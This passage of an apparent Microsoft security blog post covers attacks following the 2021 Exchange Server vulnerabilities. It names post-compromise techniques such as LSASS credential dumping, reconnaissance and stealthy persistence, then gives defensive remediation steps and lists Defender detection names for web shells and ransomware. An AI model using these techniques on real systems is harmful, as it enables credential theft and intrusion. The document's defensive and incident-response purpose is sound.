process:\n\n\n\n_Figure 17.__ Use of COM services DLL to dump LSASS process_\n\nThe number of observed credential theft attacks, combined with high privilege of accounts often given to Exchange servers, means that these attacks could continue to impact organizations that don\u2019t fully remediate after a compromise even after patches have been applied. While the observed ransomware attempts were small-scale or had errors, there is still the possibility of [more skillful groups](<https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/>) utilizing credentials gained in these attacks for later attacks.\n\nAttackers also used their access to perform extensive reconnaissance using built-in Exchange commandlets and _dsquery_ to exfiltrate information about network configurations, user information, and email assets.\n\nWhile Lemon Duck operators might have had the boldest method for removing other attackers from the systems they compromised, they were not the only attacker to do so. Others were observed cleaning up .aspx and .bat files to remove other attackers, and even rebuilding the WMI database by deleting .mof files and restarting the service. As the window on unpatched machines closes, attackers showed increased interest in maintaining the access to the systems they exploited. By utilizing "malwareless" persistence mechanisms like enabling RDP, installing Shadow IT tools, and adding new local administrator accounts, the attackers are hoping to evade incident response efforts that might focus exclusively on web shells, AV scans, and patching.\n\n## Defending against exploits and post-compromise activities\n\nAttackers exploit the on-premises Exchange Server vulnerabilities in combination to bypass authentication and gain the ability to write files and run malicious code. The best and most complete remediation for these vulnerabilities is to update to a supported Cumulative Update and to install all security updates. Comprehensive mitigation guidance can be found here: <https://aka.ms/ExchangeVulns>.\n\nAs seen in the post-exploitation attacks discussed in this blog, the paths that attackers can take after successfully exploiting the vulnerabilities are varied and wide-ranging. If you have determined or have reason to suspect that these threats are present on your network, here are immediate steps you can take:\n\n * Investigate exposed Exchange servers for compromise, regardless of their current patch status.\n * Look for web shells via our [guidance](<https://aka.ms/exchange-customer-guidance>) and run a full AV scan using the [Exchange On-Premises Mitigation Tool](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>).\n * Investigate Local Users and Groups, even non-administrative users for changes, and ensure all users require a password for sign-in. New user account creations (represented by Event ID 4720) during the time the system was vulnerable might indicate a malicious user creation.\n * Reset and randomize local administrator passwords with a tool like [LAPS](<https://aka.ms/laps>) if you are not already doing so.\n * Look for changes to the RDP, firewall, WMI subscriptions, and Windows Remote Management (WinRM) configuration of the system that might have been configured by the attacker to allow persistence.\n * Look for Event ID 1102 to determine if attackers cleared event logs, an activity that attackers perform with _exe_ in an attempt to hide their tracks.\n * Look for new persistence mechanisms such as unexpected services, scheduled tasks, and startup items.\n * Look for Shadow IT tools that attackers might have installed for persistence, such as non-Microsoft RDP and remote access clients.\n * Check mailbox-level email forwarding settings (both _ForwardingAddress_ and _ForwardingSMTPAddress_ attributes), check mailbox inbox rules (which might be used to forward email externally), and check Exchange Transport rules that you might not recognize.\n\nWhile our response tools check for and remove known web shells and attack tools, performing a full investigation of these systems is recommended. For comprehensive investigation and mitigation guidance and tools, see <https://aka.ms/exchange-customer-guidance>.\n\nAdditionally, here are best practices for building credential hygiene and practicing the principle of least privilege:\n\n * Follow guidance to run Exchange in least-privilege configuration: <https://adsecurity.org/?p=4119>.\n * Ensure service accounts and scheduled tasks run with the least privileges they need. Avoid widely privileged groups like domain admins and backup operators and prefer accounts with access to just the systems they need.\n * Randomize local administrator passwords to prevent lateral movement with tools like [LAPS](<https://aka.ms/laps>).\n * Ensure administrators practice good administration habits like[ Privileged Admin Workstations](<https://docs.microsoft.com/en-us/security/compass/overview>).\n * Prevent privileged accounts like domain admins from signing into member servers and workstations using Group Policy to limit credential exposure and lateral movement.\n\n \n\n## Appendix\n\n### Microsoft Defender for Endpoint detection details\n\n**Antivirus **\n\nMicrosoft Defender Antivirus detects exploitation behavior with these detections:\n\n * Behavior:Win32/Exmann\n * [Behavior:Win32/IISExchgSpawnEMS](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/IISExchgSpawnEMS.A&threatId=-2147212928>)\n * [Exploit:ASP/CVE-2021-27065](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:ASP/CVE-2021-27065>)\n * Exploit:Script/Exmann\n * Trojan:Win32/IISExchgSpawnCMD\n * [Behavior:Win32/IISExchgDropWebshell](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/IISExchgDropWebshell.B&threatId=-2147190469>)\n\nWeb shells are detected as:\n\n * [Backdoor:JS/Webshell](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:JS/WebShell&threatId=-2147233581>)\n * [Backdoor:PHP/Chopper](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:PHP/Chopper.B!dha&threatId=-2147231664>)\n * Backdoor:ASP/Chopper\n * Backdoor:MSIL/Chopper\n * [Trojan:JS/Chopper](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:JS/Chopper!dha&threatId=-2147232033>)\n * Trojan:Win32/Chopper\n * [Behavior:Win32/WebShellTerminal](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/WebShellTerminal.A&threatId=-2147213299>)\n\nRansomware payloads and associated files are detected as:\n\n * [Trojan:BAT/Wenam](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:BAT/Wenam.A&threatId=-2147188992>) - _xx.bat_ behaviors\n * [Ransom:Win32/DoejoCrypt](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/DoejoCrypt.A&threatId=-2147189904>) - DoejoCrypt rans
Use This One-Click Mitigation Tool from Microsoft to Prevent Exchange Attacks
